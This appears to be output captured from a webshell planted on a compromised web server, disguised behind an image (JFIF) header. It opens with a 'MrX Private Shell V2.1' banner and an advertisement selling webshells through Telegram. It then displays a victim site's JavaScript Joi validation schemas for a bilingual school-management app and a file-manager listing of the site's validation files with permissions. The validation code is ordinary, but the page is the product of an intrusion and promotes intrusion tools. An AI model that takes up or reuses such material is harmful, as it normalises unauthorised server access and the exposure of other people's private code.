����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import Joi from "joi";
import { getCommonSchemas } from "./commonSchema.js";
import { errorMessages } from "../config/Constants.js";
const bilingualTextSchema = (fieldLabel, lang = "en", max = 200) =>
Joi.object({
en: Joi.string().max(max).allow("").optional(),
ar: Joi.string().max(max).allow("").optional(),
})
.custom((value, helpers) => {
if (!value) return helpers.error("any.required");
const hasEn = value.en && value.en.trim() !== "";
const hasAr = value.ar && value.ar.trim() !== "";
if (!hasEn && !hasAr) {
return helpers.error("any.custom");
}
return value;
})
.messages({
"any.required":
lang === "ar"
? `${fieldLabel} مطلوب باللغة الإنجليزية أو العربية`
: `${fieldLabel} is required in at least one language (EN or AR)`,
"any.custom":
lang === "ar"
? `${fieldLabel} لا يمكن أن يكون فارغًا في كلتا اللغتين`
: `${fieldLabel} cannot be empty in both EN and AR`,
"string.max":
lang === "ar"
? `${fieldLabel} يجب ألا يزيد عن ${max} حرفًا`
: `${fieldLabel} must be at most ${max} characters`,
});
export const createQuizSchema = (lang = "en") => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
title: bilingualTextSchema("Title", lang, 200).required(),
description: Joi.object({
en: Joi.string().max(2000).allow("").optional(),
ar: Joi.string().max(2000).allow("").optional(),
}).optional(),
classId: Joi.string().required().messages({
"any.required": "Class is required",
}),
dueDate: Joi.date().greater("now").required().messages({
"date.greater": "Due date must be in the future",
"any.required": "Due date is required",
}),
status: Joi.string().valid("draft", "published").default("draft"),
// These are optional because we check them in controller
questions: Joi.any().optional(),
file: Joi.any().meta({ swaggerType: "file" }).optional(),
});
};
export const updateQuizSchema = (lang = "en") => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
title: bilingualTextSchema("Title", lang, 200).optional(),
description: Joi.object({
en: Joi.string().max(2000).allow("").optional().messages({
"string.max":
messages.descriptionMax || "Description must be at most 2000 characters",
}),
ar: Joi.string().max(2000).allow("").optional().messages({
"string.max":
messages.descriptionMaxAr || "Description must be at most 2000 characters",
}),
}).optional(),
classId: Joi.string().messages({
"string.empty": "Class cannot be empty",
}),
questions: Joi.array()
.items(
Joi.object({
questionText: Joi.string().required(),
options: Joi.array().items(Joi.string()),
correctAnswer: Joi.string().allow(""),
marks: Joi.number().default(1),
questionType: Joi.string().valid(
"multiple-choice",
"true-false",
"short-answer",
"essay"
),
})
)
.min(1)
.messages({
"array.min": "At least one question is required",
}),
dueDate: Joi.date().greater("now").messages({
"date.greater": "Due date must be in the future",
}),
status: Joi.string().valid("draft", "published", "closed"),
});
};
export const replyQuerySchema = (lang = "en") => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
message: Joi.alternatives().try(
Joi.string().min(1).required(),
Joi.object({
en: Joi.string().allow("").optional(),
ar: Joi.string().allow("").optional(),
})
.or("en", "ar")
.messages({
"object.missing": messages.messageRequired || "Must provide at least English or Arabic message",
})
).required().messages({
"any.required": messages.messageRequired || "Message is required",
}),
});
};
export const queryStatusSchema = (lang = "en") => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
status: Joi.string()
.valid("open", "closed", "in-progress")
.required()
.messages({
"string.empty": messages.statusRequired || "Status is required",
"any.required": messages.statusRequired || "Status is required",
"any.only": messages.statusInvalid || "Status must be one of: open, closed, in-progress",
}),
});
};
export const changePasswordSchema = (lang = "en") => {
const { passwordSchema } = getCommonSchemas(lang);
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
currentPassword: Joi.string().required().messages({
"string.empty": "Current password is required",
"any.required": "Current password is required",
}),
newPassword: passwordSchema,
confirmPassword: Joi.string()
.valid(Joi.ref("newPassword"))
.required()
.messages({
"string.empty": "Confirm password is required",
"any.required": "Confirm password is required",
"any.only": "Passwords must match",
}),
});
};
export const updatePreferencesSchema = (lang = "en") => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
languagePreference: Joi.string().valid("en", "ar"),
theme: Joi.string().valid("light", "dark", "system"),
notifications: Joi.object({
email: Joi.boolean(),
push: Joi.boolean(),
sms: Joi.boolean(),
}),
});
};
export const createAssignmentSchema = (lang = "en") => {
return Joi.object({
title: Joi.string().required().messages({
"string.empty": "Title is required",
"any.required": "Title is required",
}),
description: Joi.string().allow(""),
classId: Joi.string().required().messages({
"string.empty": "Class is required",
"any.required": "Class is required",
}),
fileUrl: Joi.string().allow(""),
totalMarks: Joi.number().min(1).required().messages({
"any.required": "Total marks are required",
}),
dueDate: Joi.date().greater("now").required().messages({
"date.greater": "Due date must be in the future",
"any.required": "Due date is required",
}),
status: Joi.string()
.valid("draft", "published", "closed")
.default("draft"),
});
};
export const updateAssignmentSchema = (lang = "en") => {
return Joi.object({
title: Joi.string().messages({
"string.empty": "Title cannot be empty",
}),
description: Joi.string().allow(""),
classId: Joi.string(),
fileUrl: Joi.string().allow(""),
totalMarks: Joi.number().min(1),
dueDate: Joi.date().greater("now").messages({
"date.greater": "Due date must be in the future",
}),
status: Joi.string().valid("draft", "published", "closed"),
});
};
export const uploadGradeSchema = (lang = "en") => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
classId: Joi.string().required().messages({
"string.empty": messages.class_required || "Class ID is required",
"any.required": messages.class_required || "Class ID is required",
}),
courseId: Joi.string().required().messages({
"string.empty": messages.course_required || "Course ID is required",
"any.required": messages.course_required || "Course ID is required",
}),
academicYear: Joi.string().required().messages({
"string.empty": messages.academic_year_required || "Academic Year is required",
"any.required": messages.academic_year_required || "Academic Year is required",
}),
term: Joi.string().valid("first", "second", "third").required().messages({
"any.only": messages.term_invalid || "Term must be first, second, or third",
"any.required": messages.term_required || "Term is required",
}),
assessment: Joi.object({
name: Joi.string().required().messages({
"string.empty": messages.assessment_name_required || "Assessment name is required",
}),
type: Joi.string().valid("exam", "quiz", "assignment").required().messages({
"any.only": messages.assessment_type_invalid || "Invalid assessment type",
"any.required": messages.assessment_type_required || "Assessment type is required",
}),
maxMarks: Joi.number().required().messages({
"number.base": messages.assessment_maxmarks_invalid || "Max marks must be a number",
"any.required": messages.assessment_maxmarks_required || "Max marks are required",
}),
date: Joi.date().optional(),
remarks: Joi.string().allow("").optional(),
}).required().messages({
"any.required": messages.assessment_required || "Assessment details are required",
}),
grades: Joi.array().items(
Joi.object({
studentId: Joi.string().required(),
obtainedMarks: Joi.number().required(),
})
).optional(),
});
};| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| adminValidation.js | File | 26.86 KB | 0644 |
|
| commonSchema.js | File | 5.25 KB | 0644 |
|
| hrValidations.js | File | 9.55 KB | 0644 |
|
| index.js | File | 3.14 KB | 0644 |
|
| studentValidation.js | File | 3.4 KB | 0644 |
|
| teacherValidation.js | File | 8.99 KB | 0644 |
|
| userValidation.js | File | 7.33 KB | 0644 |
|